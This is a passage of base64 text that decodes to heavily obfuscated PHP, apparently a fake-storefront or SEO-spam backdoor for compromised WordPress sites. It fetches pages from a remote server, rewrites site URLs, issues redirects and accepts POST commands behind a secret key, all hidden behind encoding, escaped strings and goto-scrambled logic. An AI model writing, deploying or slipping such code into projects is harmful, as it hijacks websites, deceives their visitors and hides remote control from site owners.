vIGNsRnRjOyBYbzFKRzogZXhpdDsgZ290byBDTGhJMTsgY3d2Zk86ICR0aGlzLT5KR0RuUyA9ICRGb0xXbFsiXDE0NFwxNTdceDZkXHg2MVx4NjlceDZlXDEzN1wxNTFceDY0Il07IGdvdG8gclczdTg7IE1RSGJ4OiBNTUIxNjogZ290byBhQWoyTjsgSGdwc3g6ICRlT2tOZiA9IHByZWdfcmVwbGFjZSgiXHgyZlwxNjVceDcyXHg2Y1x4NWNcNTBcNDJceDVjXHgyZlx4MjhcMTY3XHg3MFx4MmRcMTQzXDE1N1wxNTZcMTY0XDE0NVx4NmVceDc0XHg3Y1x4NzdceDcwXDU1XDE1MVwxNTZcMTQzXDE1NFx4NzVceDY0XHg2NVx4NzNceDI5XDEzNFx4MmZceDI4XDEzM1wxMzZcNDJceDVkXHgyYVx4MjlceDIyXDEzNFx4MjlceDJmIiwgIlwxNjVceDcyXDE1NFw1MHskdGhpcy0+ckxfaU0oKX1cNzdceDc0XHgzZFwxNjNcMTY0XHg2MVx4NzRcMTUxXHg2M1x4MjZcMTYwXDc1XDQ0XHgzMVx4MjZcMTQ1XHgzZFx4MjRceDMyXDUxIiwgJGVPa05mKTsgZ290byBQQ21STzsgaWZBeTE6ICRrUW82RiA9ICR0aGlzLT5KNmoxdyAuIHNlbGY6OlJvXzN3IC4gIlw3N1wxNDFcNzUiIC4gdXJsZW5jb2RlKCR0aGlzLT5qUjBNVykgLiAiXHgyNlwxNDNceDNkIiAuIHVybGVuY29kZSgkdGhpcy0+S25FbWQpIC4gIlw0Nlx4NzhcNzUiIC4gdXJsZW5jb2RlKCR0aGlzLT5EZUNhSykgLiAiXDQ2XDE2Mlx4M2QiIC4gdXJsZW5jb2RlKCREbnp5MCkgLiAiXDQ2XHg2NFw3NSIgLiB1cmxlbmNvZGUoJHRoaXMtPkpHRG5TKSAuICJcNDZceDZiXDc1IiAuIHVybGVuY29kZSgkdGhpcy0+TjBrX3UpOyBnb3RvIEpoZjhsOyBBYkxEQzogZXhpdDsgZ290byBTNVRuMzsgSkhnWGc6ICRsNkY5ZyA9ICJ7JHRoaXMtPko2ajF3fVw1N1wxNjNcMTUxXHg3NFwxNDVceDZkXDE0MVwxNjBceDJmeyRTdEhIOX0iOyBnb3RvIENUbkZ1OyBrMG5yRjogJG5nSGlWID0gJHRoaXMtPk4wa191OyBnb3RvIGF3Y1poOyBibm50RjogaGVhZGVyKCJceDRjXDE1N1x4NjNceDYxXHg3NFx4NjlcMTU3XHg2ZVw3Mlx4MjBceDJmXDY0XHgzMFw2NCIpOyBnb3RvIHhBeFVjOyBQQ21STzogQXA0YTY6IGdvdG8gRERzUEE7IHJUbVZNOiBlY2hvICRlT2tOZjsgZ290byBCT1kzNDsgdlcxZHY6IGhlYWRlcigiXHg0OFx4NTRcMTI0XHg1MFw1N1x4MzFceDJlXDYxXHgyMFw2M1w2MFx4MzFcNDBcMTE1XDE1N1x4NzZcMTQ1XHg2NFw0MFx4NTBcMTQ1XDE2MlwxNTVceDYxXDE1NlwxNDVceDZlXDE2NFwxNTRcMTcxIik7IGdvdG8gWWpnTUE7IExNSVd2OiBZOWEwdzogZ290byBtNkk3QTsgQWp2Tkc6IGV4aXQ7IGdvdG8gSWhrN0Y7IFFBMHRWOiBJTF95VDogZ290byBtZm12XzsgY0lCb0E6IGVjaG8gJGVPa05mOyBnb3RvIEh6X3QzOyB4QXhVYzogZXhpdDsgZ290byBTVGoxRjsgSXRIdWE6IGlmICghKCRQN2lWaCA9PSAiXDE2M1wxNTFcMTY0XHg2NVx4NmRceDYxXDE2MCIgJiYgJF9HRVRbIlx4NjYiXSkpIHsgZ290byBWc3dHWDsgfSBnb3RvIHpQTDJROyBHYjNrMjogJHczUzVFID0gZmlsZV9nZXRfY29udGVudHMoX19ESVJfXyAuIERJUkVDVE9SWV9TRVBBUkFUT1IgLiAiXHg2M1wxNTdcMTU2XHg2NlwxNTFcMTQ3XHgyZVx4NmFcMTYzXHg2Zlx4NmUiKTsgZ290byBSWG9ZbDsgaGl3QTA6IGh0dHBfcmVzcG9uc2VfY29kZSgyMDQpOyBnb3RvIFhvMUpHOyBFRzh2TjogSGI1Q1o6IGdvdG8gaWZBeTE7IHBfenBUOiBpZiAoJF9HRVRbIlwxNTAiXSA9PSBzZWxmOjpXSE0xayAmJiAkX1NFUlZFUlsiXHg1Mlx4NDVcMTIxXDEyNVx4NDVcMTIzXHg1NFx4NWZceDRkXHg0NVx4NTRceDQ4XDExN1x4NDQiXSA9PT0gIlwxMjBceDRmXDEyM1x4NTQiKSB7IGdvdG8gWTlhMHc7IH0gZ290byBuWkw2SzsgZlZhUUs6ICRlT2tOZiA9ICR0aGlzLT5rQ1NHSigkY0drTjcpOyBnb3RvIFF3YnJrOyBHeW55RTogJHRoaXMtPk4wa191ID0gJF9TRVJWRVJbIlx4NDhcMTI0XDEyNFwxMjBcMTM3XHg0OFwxMTdceDUzXHg1NCJdID86ICRfU0VSVkVSWyJceDUzXHg0NVwxMjJceDU2XDEwNVwxMjJcMTM3XHg0ZVx4NDFcMTE1XHg0NSJdOyBnb3RvIGswbnJGOyBDVG5GdTogJGVPa05mID0gJHRoaXMtPktDc0dqKCRsNkY5ZywgWyJceDU4XDU1XHg0Nlx4NmZcMTYyXHg3N1wxNDFcMTYyXHg2NFwxNDVcMTQ0XHgyZFx4NDhcMTU3XDE2M1x4NzRceDNhXHgyMHskbmdIaVZ9IiwgIlwxMzBceDJkXHg0Nlx4NmZcMTYyXHg3N1wxNDFceDcyXHg2NFx4NjVceDY0XHgyZFx4NTBceDcyXHg2Zlx4NzRceDZmXDcyXHgyMHskRFdCd0V9Il0pOyBnb3RvIGNJQm9BOyBkYWo2aDogJHRoaXMtPk4wa191ID0gc3RyX3JlcGxhY2UoIlx4NzdcMTY3XHg3N1w1NiIsICcnLCAkdGhpcy0+TjBrX3UpOyBnb3RvIHg1ZDNrOyBTNVRuMzogektGbGc6IGdvdG8gWFhXZFQ7IGduODRZOiB9IHB1YmxpYyBmdW5jdGlvbiB2TkNHWigpIHsgZ290byBPWVV6UDsgWEQ5azM6ICRJV2wwSyA9ICR0aGlzLT5YR0s1aigkbTFiZTdbIlwxNDNcMTQxXDE2NFx4NjVceDY3XDE1N1wxNjJcMTcxXHg1Zlx4NjlceDY0Il0sIHNlbGY6OkdoWTVqLCBzZWxmOjp1QWwwUik7IGdvdG8gcVNXWWs7IERfUlk2OiBpZiAoISgkWDlnWllbIlwxNjNcMTY0XDE0MVwxNjRcMTY1XDE2M1wxMzdcMTQzXDE1N1wxNDRceDY1Il0gPT0gMjAwKSkgeyBnb3RvIHA1SmUyOyB9IGdvdG8gVklRQWQ7IE9ZVXpQOiAkZU9rTmYgPSAkdGhpcy0+Vm95dXgoJHRoaXMtPko2ajF3IC4gc2VsZjo6WVF4VFEsIGFycmF5KCJcMTYzXDE0M1x4NjhcMTQ1XDE1NVwxNDUiID0+IGlzc2V0KCRfU0VSVkVSWyJceDQ4XHg1NFwxMjRceDUwXHg1MyJdKSAmJiAkX1NFUlZFUlsiXHg0OFx4NTRceDU0XHg1MFwxMjMiXSA9PT0gIlx4NmZceDZlIiA/ICJcMTUwXHg3NFwxNjRceDcwXDE2MyIgOiAiXHg2OFwxNjRcMTY0XHg3MCIsICJceDcwXHg2MVwxNjJcMTQ1XDE1Nlx4NzRceDVmXDE1MVwxNDQiID0+ICR0aGlzLT5KR0RuUywgIlwxNDRcMTU3XHg2ZFx4NjFceDY5XDE1NiIgPT4gJHRoaXMtPk4wa191LCAiXDE2MFx4NjFcMTY0XHg2OCIgPT4gJHRoaXMtPlRlaUhEID8gJHRoaXMtPnJsX0lNKCkgOiAieyR0aGlzLT5SbF9JTSgpfVx4MmYiLCAiXDE0MVwxNjBcMTYwXDEzN1wxNTFcMTQ0IiA9PiAkdGhpcy0+alIwTVcsICJceDYxXHg3MFwxNTFcMTM3XHg3M1x4NzJcMTQzIiA9PiAkdGhpcy0+S25FbWQsICJceDYxXHg3MFx4NjlcMTM3XDE0NVx4NzhceDc0XDE2MlwxNDEiID0+ICR0aGlzLT5EZUNhSywgIlwxNTFceDczXDEzN1wxNTZcMTQ3XHg2OVx4NmVcMTcwIiA9PiAkdGhpcy0+VGVpSEQpLCBbXSwgIlx4NTBceDRmXDEyM1wxMjQiKTsgZ290byBNVjUxYTsgVklRQWQ6ICR0aGlzLT5pdWRxUCgnJyk7IGdvdG8gZzdObnE7IHhxbXQwOiBkaWU7IGdvdG8gajRrSVI7IHhyX05ZOiBkaWU7IGdvdG8gRFV5XzM7IHFTV1lrOiAkdGhpcy0+bHd0eDMoc2VsZjo6akNIWEEsIGpzb25fZW5jb2RlKCRJV2wwSyksIFskbTFiZTdbIlx4NjNcMTQxXHg3NFx4NjVcMTQ3XDE1N1wxNjJceDc5XDEzN1wxNTFceDY0Il0sIHNlbGY6OkdoWTVqLCBzZWxmOjp1QWwwUl0pOyBnb3RvIE5NMzZXOyBWUFJHazogVllqcDU6IGdvdG8gSVFUajI7IFdsdFNGOiAkdGhpcy0+TFdUWDMoc2VsZjo6akNrcGcsIGpzb25fZW5jb2RlKCR1VWZHMSksIFskbTFiZTdbIlwxNDNceDYxXHg3NFx4NjVceDY3XHg2ZlwxNjJceDc5XDEzN1wxNTFceDY0Il1dKTsgZ290byBRbHRRcTsgVGd1YkY6IGVjaG8gIlwxMTdceDRiIjsgZ290byB4cW10MDsgTk0zNlc6ICR1VWZHMSA9ICR0aGlzLT5LUzlBMSgkbTFiZTdbIlwxNDNceDYxXHg3NFwxNDVceDY3XHg2Zlx4NzJcMTcxXDEzN1x4NjlceDY0Il0pOyBnb3RvIFdsdFNGOyBnNVIyUDogaHR0cF9yZXNwb25zZV9jb2RlKCRYOWdaWVsiXHg3M1x4NzRceDYxXDE2NFwxNjVceDczXDEzN1x4NjNcMTU3XDE0NFwxNDUiXSk7IGdvdG8gclE3NHo7IHJRNzR6OiBlY2hvICRYOWdaWVsiXDE0NFx4NjFcMTY0XHg2MSJdWyJcMTQ1XDE2MlwxNjJceDZkXHg3M1x4NjciXTsgZ290byB4cl9OWTsgajRrSVI6IHA1SmUyOiBnb3RvIGc1UjJQOyBRbHRRcTogZm9yZWFjaCAoJElXbDBLIGFzICRRNGgzSikgeyBnb3RvIGxIZVJyOyBCd2Vwejogc2xlZXAoc2VsZjo6b3pHNWUpOyBnb3RvIGNUbm5KOyBuVm44UjogJHRoaXMtPkx3dHgzKHNlbGY6Om1JS0VnLCBqc29uX2VuY29kZSgkdjNrU0opLCBbJFE0aDNKWyJceDY5XDE0NCJdXSk7IGdvdG8gQndlcHo7IGNUbm5KOiBlMjYwWTogZ290byB1OHE1RTsgbEhlUnI6ICR2M2tTSiA9ICR0aGlzLT5YUllISygkUTRoM0pbIlwxNTFcMTQ0Il0sIHNlbGY6OlQ1OWliKTsgZ290byBuVm44UjsgdThxNUU6IH0gZ290byBWUFJHazsgTVY1MWE6ICRYOWdaWSA9IGpzb25fZGVjb2RlKCRlT2tOZlsiXDE0NFx4NjFcMTY0XHg2MSJdLCB0cnVlKTsgZ290byBEX1JZNjsgYUNwQjA6ICRtMWJlNyA9IGFycmF5X3NoaWZ0KCR3WHQ5Ryk7IGdvdG8gWEQ5azM7IGc3Tm5xOiAkd1h0OUcgPSAkdGhpcy0+eWV4eE8oKTsgZ290byBhQ3BCMDsgQWZ5TFM6IHJtTUJhOiBnb3RvIFRndWJGOyBJUVRqMjogZm9yZWFjaCAoJHdYdDlHIGFzICRQUExaZCkgeyBnb3RvIEE4RF9HOyBGTGFURTogJHRoaXMtPmxXVFgzKHNlbGY6OmpDa3BnLCBqc29uX2VuY29kZSgkdVVmRzEpLCBbJFBQTFpkWyJceDYzXHg2MVx4NzRcMTQ1XHg2N1x4NmZcMTYyXHg3OVx4NWZceDY5XDE0NCJdXSk7IGdvdG8gSEYxMTI7IEhGMTEyOiBzbGVlcChzZWxmOjpvekc1ZSk7IGdvdG8gSUpwRDM7IGZZRnpNOiAkdGhpcy0+bHd0WDMoc2VsZjo6akNIWEEsIGpzb25fZW5jb2RlKCRLWmtrTSksIFskUFBMWmRbIlwxNDNcMTQxXDE2NFwxNDVcMTQ3XDE1N1wxNjJcMTcxXHg1ZlwxNTFceDY0Il0sIHNlbGY6OkdoWTVqLCBzZWxmOjp1QWwwUl0pOyBnb3RvIE1TUENaOyBNU1BDWjogJHVVZkcxID0gJHRoaXMtPktzOWExKCRQUExaZFsiXHg2M1wxNDFcMTY0XHg2NVwxNDdcMTU3XDE2MlwxNzFceDVmXDE1MVx4NjQiXSk7IGdvdG8gRkxhVEU7IEE4RF9HOiAkS1pra00gPSAkdGhpcy0+eGdrNWooJFBQTFpkWyJcMTQzXDE0MVx4NzRcMTQ1XDE0N1x4NmZceDcyXHg3OVwxMzdcMTUxXHg2NCJdLCBzZWxmOjpHaFk1aiwgc2VsZjo6dUFsMFIpOyBnb3RvIGZZRnpNOyBJSnBEMzogdDdMRnM6IGdvdG8gTmE1bE07IE5hNWxNOiB9IGdvdG8gQWZ5TFM7IERVeV8zOiB9IHB1YmxpYyBmdW5jdGlvbiBCOUR1Yygkd1h0OUcsICRoQjBiNykgeyBnb3RvIGpubTZrOyBIYXpWRjogJGhCMGI3ID0gcHJlZ19yZXBsYWNlKCJcNTdceDVjXHgyZlwxNjdcMTYwXHgyZFwxNTFceDZlXHg2M1wxNTRcMTY1XDE0NFwxNDVcMTYzXHg1Y1w1N1w1MFx4MmVceDJhXHgyOVw1NyIsICJ7JGt3SWtUfVx4M2ZcMTY0XDc1XHg3M1x4NzRcMTQxXHg3NFwxNTFcMTQzXDQ2XDE2MFx4M2RceDc3XHg3MFw1NVwxNTFcMTU2XHg2M1x4NmNcMTY1XHg2NFwxNDVcMTYzXDQ2XDE0NVw3NVx4MjRceDMxIiwgJGhCMGI3KTsgZ290byBjYzNyQzsgRTFZYU86ICRoQjBiNyA9IHByZWdfcmVwbGFjZSgiXHgyZlx4NWNcNTdceDY0XDE0NVwxNjRceDYxXDE1MVwxNTRcMTM0XHgyZlw1MFx4M2ZcNzJcMTMzXDEzNlwxMzdcMTM1XHgyYlx4MjlcMTM3XHgyOFwxMzNcMTM2XDEzNFx4MmZcNTZceDVkXDUzXHgyOVwxMzRceDJlXHg2OFx4NzRcMTU1XDE1NFx4MmYiLCAieyRrd0lrVH1ceDNmXDE2NFw3NVx4NjRcMTQ1XDE2NFx4NjFceDY5XHg2Y1x4MjZcMTUxXHgzZFw0NFw2MSIsICRoQjBiNyk7IGdvdG8gU01BdXQ7IGFpVTJoOiAka3dJa1QgPSAkdGhpcy0+UmxfSU0oKTsgZ290byBVZHBBNzsgSExyMnA6IGdvdG8geV96MlE7IGdvdG8gZmRTSlE7IHhVX2RvOiAkaEIwYjcgPSBwcmVnX3JlcGxhY2UoIlw1N1x4N2JcMTczXDE2MFwxNjJceDZmXHg2NFx4NzVceDYzXHg3NFwxMzdcMTQzXDE0MVx4NzRcMTQ1XDE0N1wxNTdceDcyXDE3MVx4NWZceDZkXDE1N1x4NjJcMTUxXHg2Y1wxNDVceDdkXDE3NVw1NyIsICRXU0M1MSwgJGhCMGI3KTsgZ290byBXdlVuaDsgU01BdXQ6ICRoQjBiNyA9IHByZWdfcmVwbGFjZSgiXDU3XDEzNFw1N1wxNDNceDZmXHg2Y1wxNTRcMTQ1XDE0M1x4NzRceDY5XHg2ZlwxNTZcMTM0XDU3XDUwXDc3XDcyXHg1YlwxMzZceDVmXDEzNVw1Mlw1MVx4NWZceDI4XDEzM1x4NWVcNTZcMTM0XHgyZlwxMzVceDJiXDUxXDEzNFw1Nlx4NjhceDc0XDE1NVwxNTRceDJmIiwgInska3dJa1R9XDc3XDE2NFw3NVwxNDNcMTU3XHg2Y1wxNTRceDY1XHg2M1x4NzRceDY5XHg2ZlwxNTZcNDZceDY5XDc1XHgyNFx4MzEiLCAkaEIwYjcpOyBnb3RvIEdMbUZLOyBKNzl2ajogJGhCMGI3ID0gcHJlZ19yZXBsYWNlKCJcNTdcMTM0XDU3XHg3N1wxNjBceDJkXDE0M1x4NmZcMTU2XDE2NFx4NjVceDZlXHg3NFwxMzRcNTdceDI4XDU2XHgyYVx4MjlceDJmIiwgInska3dJa1R9XHgzZlwxNjRcNzVceDczXHg3NFx4NjFceDc0XHg2OVwxNDNcNDZcMTYwXDc1XHg3N1wxNjBcNTVcMTQzXHg2ZlwxNTZcMTY0XDE0NVwxNTZcMTY0XDQ2XHg2NVw3NVx4MjRceDMxIiwgJGhCMGI3KTsgZ290byBIYXpWRjsgUERaajQ6IHJldHVybiAkaEIwYjc7IGdvdG8gRVlIY0Q7IEdMbUZLOiAkaEIwYjcgPSBwcmVnX3JlcGxhY2UoIlx4MmZcMTM0XHgyZlwxNDNcMTU3XHg2Y1x4NmNceDY1XHg2M1wxNjRceDY5XHg2Zlx4NmVceDVjXDU3XDEzN1w1MFx4NWJceDVlXHgyZVwxMzRceDJmXDEzNVx4MmJceDI5XHg1Y1x4MmZcNTBceDVjXDE0NFx4MmJcNTFceDVjXHgyZlx4MjhcMTM0XDE0NFx4MmJcNTFceDVjXHgyZVx4NjhcMTY0XHg2ZFwxNTRcNTciLCAieyRrd0lrVH1ceDNmXHg3NFx4M2RcMTQzXDE1N1x4NmNcMTU0XHg2NVwxNDNcMTY0XHg2OVx4NmZcMTU2XHgyNlx4NjlcNzVcNDRceDMxXDQ2XDE1Nlx4M2RceDI0XHgzMlx4MjZcMTYzXHgzZFx4MjRcNjMiLCAkaEIwYjcpOyBnb3RvIHo3X0JVOyBXdlVuaDogJGhCMGI3ID0gcHJlZ19yZXBsYWNlKCJcNTdcMTczXHg3YlwxNjBceDcyXDE0NVwxNDZcMTUxXHg3OFwxNzVceDdkXHgyZiIsICR0aGlzLT5STF9pTSgpLCAkaEIwYjcpOyBnb3RvIGFpVTJoOyBVZHBBNzogaWYgKCR0aGlzLT5UZWlIRCB8fCBzdHJpcG9zKCRfU0VSVkVSWyJceDUzXDEwNVx4NTJceDU2XHg0NVx4NTJceDVmXDEyM1x4NGZceDQ2XDEyNFx4NTdcMTAxXDEyMlx4NDUiXSwgIlwxNTZcMTQ3XHg2OVx4NmVcMTcwIikgIT09IGZhbHNlKSB7IGdvdG8gcWpPa0g7IH0gZ290byB4U2tKbzsgeFNrSm86ICRoQjBiNyA9IHByZWdfcmVwbGFjZSgiXDU3XDUwXHg3M1wxNjJceDYzXDc1XHg3Y1wxNTBceDcyXDE0NVx4NjZceDNkXDUxXHgyOFx4NWJceDI3XHgyMlx4NWRcNTFcNTBceDVjXHgyZlx4MmVcNTJceDNmXDUxXDEzNFx4MzJceDJmIiwgIlw0NFw2MVw0MiIgLiAka3dJa1QgLiAiXDQ0XHgzM1w0MiIsICRoQjBiNyk7IGdvdG8gSExyMnA7IGNjM3JDOiB5X3oyUTogZ290byBlSlB3RjsgUTUwMXA6ICRoQjBiNyA9IHByZWdfcmVwbGFjZSgiXDU3XHg3YlwxNzNcMTYwXHg3Mlx4NmZcMTQ0XHg3NVx4NjNcMTY0XHg1ZlwxNDNceDYxXHg3NFwxNDVceDY3XDE1N1x4NzJceDc5XHg3ZFwxNzVcNTciLCAkVHJCb1QsICRoQjBiNyk7IGdvdG8geFVfZG87IGpubTZrOiAkVHJCb1QgPSAkdGhpcy0+anowRE4oJHdYdDlHKTsgZ290byB5bjkxajsgeW45MWo6ICRXU0M1MSA9ICR0aGlzLT5KejBETigkd1h0OUcsIHRydWUpOyBnb3RvIFE1MDFwOyBYOVFOcjogJGhCMGI3ID0gcHJlZ19yZXBsYWNlKCJcNTdcMTczXDE3M1wxNDZceDZmXHg2Zlx4NzRcMTQ1XHg3Mlx4NWZceDYzXDE1N1x4NzBceDc5XDE2MlwxNTFcMTQ3XDE1MFx4NzRceDdkXHg3ZFw1NyIsICRGRWNFcCwgJGhCMGI3KTsgZ290byBQRFpqNDsgZUpQd0Y6ICRGRWNFcCA9ICJcNzRcMTYzXHg3MFx4NjFcMTU2XDQwXDE0M1x4NmNcMTQxXDE2M1wxNjNceDNkXDQyXDE0Nlx4NmZceDZmXHg3NFwxNDVcMTYyXHgyZFwxNDNcMTU3XDE2MFwxNzFceDcyXDE1MVx4NjdcMTUwXDE2NFw0Mlx4M2VceDQzXHg2ZlwxNjBcMTcxXDE2Mlx4NjlcMTQ3XDE1MFwxNjRcMzAyXHhhOVx4MjAiIC4gZGF0ZSgiXHg1OSIpIC4gIlw0MFx4M2NceDYxXHgyMFx4NzNcMTY0XDE3MVwxNTRceDY1XDc1XDQyXHg2M1x4NmZcMTU0XHg2Zlx4NzJcNzJceDIwXHgyM1w2MFw2MFx4MzdcMTQyXDE0NlwxNDZcNDJceDIwXHg2OFx4NzJcMTQ1XHg2Nlx4M2RcNDIiIC4gJGt3SWtUIC4gIlw0Mlx4M2UiIC4gJHRoaXMtPk4wa191IC4gIlx4M2NceDJmXHg2MVx4M2VcNDBceDQxXHg2Y1x4NmNcNDBcMTIyXHg2OVwxNDdceDY4XHg3NFwxNjNceDIwXHg1Mlx4NjVceDczXDE0NVx4NzJceDc2XDE0NVx4NjRceDNjXDU3XHg3M1x4NzBceDYxXHg2ZVw3NiI7IGdvdG8gWDlRTnI7IGZkU0pROiBxak9rSDogZ290byBFMVlhTzsgejdfQlU6ICRoQjBiNyA9IHByZWdfcmVwbGFjZSgiXHgyZlwxMzRceDJmXHg3M1wxNjRceDYxXHg3NFx4NjlceDYzXHg1Y1w1N1x4MjhceDJlXDUyXDUxXDU3IiwgInska3dJa1R9XDc3XDE2NFw3NVx4NzNcMTY0XDE0MVx4NzRcMTUxXHg2M1x4MjZcMTYwXHgzZFwxNjNcMTY0XDE0MVx4NzRcMTUxXDE0M1w0Nlx4NjVceDNkXDQ0XDYxIiwgJGhCMGI3KTsgZ290byBKNzl2ajsgRVlIY0Q6IH0gcHVibGljIGZ1bmN0aW9uIEo2d1diKCkgeyBnb3RvIEd2T3dJOyBuOUY2aDogJE1SNjVwID0gJHRoaXMtPmFqNWVPKGFycmF5X21lcmdlKCRxYjY1aCwgWyJ7JGpTbmJMWyJceDYzXHg2MVwxNjRceDY1XHg2N1x4NmZcMTYyXHg3OVwxMzdcMTU2XHg2MVwxNTVcMTQ1Il19XDEzN3skalNuYkxbIlx4NjNcMTQxXHg3NFx4NjVceDY3XHg2Zlx4NzJceDc5XDEzN1x4NjlceDY0Il19IiA9PiAkS1pra01dKSwgc2VsZjo6R2hZNWosIHNlbGY6OnVBbDBSKTsgZ290byBOS2huaTsgdTg2SWo6ICRLWmtrTSA9ICR0aGlzLT5YR0s1aigkalNuYkxbIlx4NjNceDYxXDE2NFwxNDVcMTQ3XDE1N1x4NzJcMTcxXHg1Zlx4NjlceDY0Il0sIHNlbGY6OkdoWTVqLCBzZWxmOjp1QWwwUik7IGdvdG8gbjlGNmg7IG9lcldhOiByZXR1cm4gJGhCMGI3OyBnb3RvIFpSUUtaOyBBQTZIeDogJHdYdDlHID0gJHRoaXMtPllFWHhvKCk7IGdvdG8gc3BjUUU7IGZnRFpGOiAkaEIwYjcgPSAkdGhpcy0+QjlkdWMoJHdYdDlHLCAkaEIwYjcpOyBnb3RvIG9lcldhOyBOS2huaTogJGhCMGI3ID0gcHJlZ19yZXBsYWNlKCJcNTdceDdiXDE3M1x4NzBcMTYyXHg2Zlx4NjRceDc1XHg2M1wxNjRceDVmXDE1NFwxNTFcMTYzXHg3NFx4N2RceDdkXDU3IiwgJE1SNjVwWyJcMTU0XDE1MVx4NzNceDc0XHg1Zlx4NjhcMTY0XHg2ZFwxNTQiXSwgJGhCMGI3KTsgZ290byBJVmhmdDsgc3BjUUU6ICRxYjY1aCA9ICR0aGlzLT5yRE8xQigpOyBnb3RvIGtlVGFIOyBrZVRhSDogJGpTbmJMID0gYXJyYXlfc2hpZnQoJHdYdDlHKTsgZ290byB1ODZJajsgSVZoZnQ6ICRoQjBiNyA9ICR0aGlzLT5YTmlIRCgkaEIwYjcpOyBnb3RvIGZnRFpGOyBHdk93STogJGhCMGI3ID0gZmlsZV9nZXRfY29udGVudHMoX19ESVJfXyAuIERJUkVDVE9SWV9TRVBBUkFUT1IgLiAiXDE1MFx4NmZceDZkXDE0NVx4MmVceDY4XDE2NFwxNTVcMTU0Iik7IGdvdG8gQUE2SHg7IFpSUUtaOiB9IHB1YmxpYyBmdW5jdGlvbiB1MzRCTCgpIHsgZ290byBtU0VPWjsgcUlCQm46IGlmICgkdGhpcy0+ajhJdnkpIHsgZ290byBBNFJyazsgfSBnb3RvIG5Bek1ZOyBQWW9pZjogJGhCMGI3ID0gJHRoaXMtPkI5RFVjKCR0aGlzLT5ZZXhYTygpLCAkaEIwYjcpOyBnb3RvIGowdF94OyBibk1qbjogQTRScms6IGdvdG8gVWFZMFc7IGowdF94OiByZXR1cm4gJGhCMGI3OyBnb3RvIFVKbms5OyBTazVlOTogJGhCMGI3ID0gcHJlZ19yZXBsYWNlKCJcNTdcMTczXHg3Ylx4NzBceDcyXHg2ZlwxNDRceDc1XDE0M1x4NzRceDVmXHg2Y1x4NjlcMTYzXDE2NFwxNzVcMTc1XHgyZiIsICRNUjY1cFsiXHg2Y1x4NjlceDczXHg3NFx4NWZcMTUwXHg3NFx4NmRceDZjIl0sICRoQjBiNyk7IGdvdG8gdjF1bUg7IGZoS2pDOiAkeVE4QUsgPSAkdGhpcy0+bVhEVE0oJHVVZkcxKTsgZ290byBGS2hyczsgRktocnM6ICRoQjBiNyA9IHByZWdfcmVwbGFjZSgiXHgyZlx4N2JcMTczXHg2M1x4NmZcMTU0XHg2Y1x4NjVcMTQzXHg3NFx4NjlceDZmXDE1Nlx4NWZcMTYzXHg3NVx4NjJcMTM3XDE0M1wxNDFcMTY0XDE0NVx4NjdceDZmXHg3MlwxNzFcMTc1XDE3NVw1NyIsICR5UThBSywgJGhCMGI3KTsgZ290byBibk1qbjsgWG1RcXM6ICRoQjBiNyA9IGZpbGVfZ2V0X2NvbnRlbnRzKF9fRElSX18gLiBESVJFQ1RPUllfU0VQQVJBVE9SIC4gIlx4NjNceDZmXDE1NFwxNTRceDY1XDE0M1x4NzRceDY5XDE1N1x4NmVcNTZcMTUwXHg3NFx4NmRcMTU0Iik7IGdvdG8gRHlWejk7IFVhWTBXOiAkaEIwYjcgPSAkdGhpcy0+eE5JaEQoJGhCMGI3LCAieyRLWmtrTVsiXDE1M1wxNDVcMTcxIl19Iiwgc2VsZjo6Wl81TzMsICRLWmtrTSk7IGdvdG8gUFlvaWY7IHRIZzJuOiAkaEIwYjcgPSBwcmVnX3JlcGxhY2UoIlw1N1wxNzNcMTczXDE0M1x4NmZcMTU0XHg2Y1wxNDVceDYzXHg3NFwxNTFcMTU3XDE1NlwxMzdcMTQyXDE2MlwxNDVceDYxXHg2NFx4NjNcMTYyXDE2NVx4NmRcMTQyXDE3NVx4N2RceDJmIiwgJE1SNjVwWyJceDYzXDE1N1x4NmNcMTU0XHg2NVwxNDNceDc0XHg2OVwxNTdcMTU2XDEzN1wxNDJcMTYyXDE0NVx4NjFceDY0XDE0M1x4NzJcMTY1XHg2ZFwxNDJcMTM3XDE1MFwxNjRcMTU1XHg2YyJdLCAkaEIwYjcpOyBnb3RvIHFJQkJuOyBtU0VPWjogbGlzdCgkUzE4NUQsICRESTFMWiwgJEpoMVVRKSA9IFskX0dFVFsiXDE1MSJdLCAkX0dFVFsiXHg2ZSJdID86IHNlbGY6OkdoWTVqLCAkX0dFVFsiXDE2MyJdID86IHNlbGY6OnVBbDBSXTsgZ290byBYbVFxczsgbkF6TVk6ICR1VWZHMSA9ICR0aGlzLT5LczlhMSgkUzE4NUQpOyBnb3RvIGZoS2pDOyBEeVZ6OTogJEtaa2tNID0gJHRoaXMtPlhnSzVqKCRTMTg1RCwgJERJMUxaLCAkSmgxVVEpOyBnb3RvIFNvZHp1OyBTb2R6dTogJE1SNjVwID0gJHRoaXMtPmFKNWVvKFskS1pra01dLCAkREkxTFosICRKaDFVUSk7IGdvdG8gU2s1ZTk7IHYxdW1IOiAkaEIwYjcgPSBwcmVnX3JlcGxhY2UoIlw1N1wxNzNceDdiXHg2M1x4NmZcMTU0XDE1NFwxNDVcMTQzXHg3NFx4NjlceDZmXHg2ZVwxMzdceDc0XDE2NVwxNjJcMTU2XDEzN1wxNjBcMTQxXHg2N1wxNDVceDdkXHg3ZFx4MmYiLCAkTVI2NXBbIlx4NzRceDc1XDE2MlwxNTZcMTM3XHg3MFwxNDFceDY3XHg2NVx4NWZceDY4XHg3NFx4NmRcMTU0Il0sICRoQjBiNyk7IGdvdG8gdEhnMm47IFVKbms5OiB9IHB1YmxpYyBmdW5jdGlvbiBnMVhRWCgpIHsgZ290byBvSUlwYzsgRDVMMm46IHJldHVybiAkaEIwYjc7IGdvdG8gbU1sMTA7IHdhSHhEOiAkaEIwYjcgPSBwcmVnX3JlcGxhY2UoIlx4MmZceDdiXHg3YlwxNDRcMTQ1XDE2NFwxNDFcMTUxXDE1NFwxMzdceDcwXDE2MlwxNTdceDY0XHg3NVwxNDNcMTY0XDEzN1wxNTVcMTQ1XHg3NFx4NjFcMTc1XHg3ZFx4MmYiLCAkS2pmYkRbIlx4NmRcMTQ1XHg3NFwxNDFceDVmXDE1MFx4NzRcMTU1XHg2YyJdLCAkaEIwYjcpOyBnb3RvIEFZdElOOyBZcmVKQTogJGhCMGI3ID0gcHJlZ19yZXBsYWNlKCJcNTdcMTczXDE3M1wxNDRceDY1XHg3NFx4NjFcMTUxXDE1NFx4NWZceDZhXHg3M1x4NmZceDZlXHg1Zlx4NjlceDY0XDE3NVx4N2RcNTciLCAkb0lmUEcsICRoQjBiNyk7IGdvdG8gcm5ReG07IG9BV2tXOiAkUGgxamIgPSAkdGh